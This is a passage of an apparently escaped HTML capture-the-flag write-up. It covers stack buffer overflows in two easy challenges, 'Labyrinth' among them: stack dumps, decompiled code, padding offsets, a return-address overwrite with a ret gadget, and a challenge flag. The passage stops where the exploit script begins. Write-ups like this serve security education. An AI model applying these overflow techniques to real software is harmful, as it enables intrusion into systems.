&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">After we insert 4 &amp;#34;A&amp;#34;s, (the hex representation of A is 0x41), the stack layout like this:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> [Addr] | [Value]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-------------------+-------------------
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33230 | 0x0000000041414141 &amp;lt;- Start of buffer
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33238 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33240 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33248 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33250 | 0x6969696969696969 &amp;lt;- Dummy value for alignment
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33258 | 0x00000000deadbeef &amp;lt;- Target to change
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33260 | 0x000055cf39fcf800 &amp;lt;- Saved rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33268 | 0x00007f62c548ac87 &amp;lt;- Saved return address
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33270 | 0x0000000000000001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33278 | 0x00007fff1ca33348
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">After we insert 4 &amp;#34;B&amp;#34;s, (the hex representation of B is 0x42), the stack layout looks like this:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> [Addr] | [Value]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-------------------+-------------------
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33230 | 0x4242424241414141 &amp;lt;- Start of buffer
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33238 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33240 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33248 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33250 | 0x6969696969696969 &amp;lt;- Dummy value for alignment
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33258 | 0x00000000deadbeef &amp;lt;- Target to change
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33260 | 0x000055cf39fcf800 &amp;lt;- Saved rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33268 | 0x00007f62c548ac87 &amp;lt;- Saved return address
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33270 | 0x0000000000000001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33278 | 0x00007fff1ca33348
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From the netcat, we are provided with these informations.&lt;/p>
&lt;p>We can answer the question by looking at the informations given, where we have to overwrite the alignment address and the &amp;ldquo;target&amp;rsquo;s&amp;rdquo; 0xdeadbeef value.&lt;/p>
&lt;p>From the stack layout given above, we can see that to fully overwrite, we need at least 40 bytes input (assume that we use Linux terminal because there will be a \x00 overwrite at the right of the &amp;ldquo;target&amp;rsquo;s&amp;rdquo; 0xdeadbeef value) which will look like this.&lt;/p>
&lt;img src="pwn13.png" alt="linux" width="1000"/>
&lt;p>I don&amp;rsquo;t know why it prints out &lt;strong>&amp;quot;[-] You failed!&amp;quot;&lt;/strong> though&amp;hellip;&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{b0f_s33m5_3z_r1ght?}&lt;/strong>&lt;/p>
&lt;h2 id="labyrinth">Labyrinth&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/padolex/misc/blob/main/pwn_labyrinth.zip" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Binary Exploitation/Pwnable&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Examine the binary with command &lt;code>checksec&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-zsh" data-lang="zsh">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>*&lt;span class="o">]&lt;/span> &lt;span class="s1">&amp;#39;~/pwn_labyrinth/challenge/labyrinth&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Arch: amd64-64-little
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> RELRO: Full RELRO
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Stack: No canary found
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> NX: NX enabled
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> PIE: No PIE &lt;span class="o">(&lt;/span>0x400000&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> RUNPATH: b&lt;span class="s1">&amp;#39;./glibc/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Use IDA Pro to analyze, we obtain the following pseudocode for function &lt;code>escape_plan&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">escape_plan&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+Bh] [rbp-5h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">fd&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+Ch] [rbp-4h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">putchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">unk_402018&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1F0uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">%sCongratulations on escaping! Here is a sacred spell to help you continue your journey: %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;32m&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[0m&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fd&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;./flag.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">fd&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">perror&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">Error opening flag.txt, please contact an Administrator.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">fd&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fputc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">close&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">fd&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Our goal is to be able to execute this function, now examine the &lt;code>main&lt;/code> function&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="kr">__cdecl&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">envp&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [rsp+0h] [rbp-30h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v5&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+8h] [rbp-28h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v6&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+10h] [rbp-20h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v7&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+18h] [rbp-18h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+20h] [rbp-10h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+28h] [rbp-8h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setup&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">envp&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">banner&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_QWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">v4&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v6&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v7&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">Select door: &lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x10uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1LL&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mh">0x64&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="o">++&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">9&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mh">0x63&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_bss_start&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Door: %d &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_bss_start&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Door: 0%d &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_bss_start&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Door: 00%d &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mh">0xA&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">putchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;gt;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">4uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">malloc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x10uLL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="n">strncmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;69&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2uLL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="n">strncmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;069&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3uLL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;You are heading to open the door but you suddenly see something on the wall:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s">Fly like a bird and be free!&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;Would you like to change the door you chose?&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&amp;gt;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0xA0uLL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">68&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_bss_start&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">%s[-] YOU FAILED TO ESCAPE!&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;31m&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There is a buffer overflow associate with this line of code &lt;code>fgets(v4, 68, stdin);&lt;/code> because &lt;code>v4&lt;/code> was declared &lt;code>char v4[8];&lt;/code> but we are allowed to input up to 68 bytes and we need to input &amp;lsquo;69&amp;rsquo; at first. Our attack plan will be overwrite the return address with the address of function &lt;code>escape_plan&lt;/code>. IDA also provides us stack offset of variable &lt;code>v4&lt;/code> which is &lt;code>[rbp-30h]&lt;/code>, so we can calculate the correct padding which is equal &lt;code>0x30 + 8 = 0x38 = 56&lt;/code>. The stack frame layout will be&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">|_______________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| &amp;#34;A&amp;#34;*56 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_______________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|ret instruction| # padding ret because of movaps instruction
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_______________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| escape_plan |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_______________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| . |
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We can use &lt;code>ROPgadget&lt;/code> to find the address of instruction &lt;code>ret&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-zsh" data-lang="zsh">&lt;span class="line">&lt;span class="cl">$ ROPgadget --binary labyrinth &lt;span class="p">|&lt;/span> grep &lt;span class="s2">&amp;#34;ret&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x0000000000401016 : ret
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We yield the final exploit&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
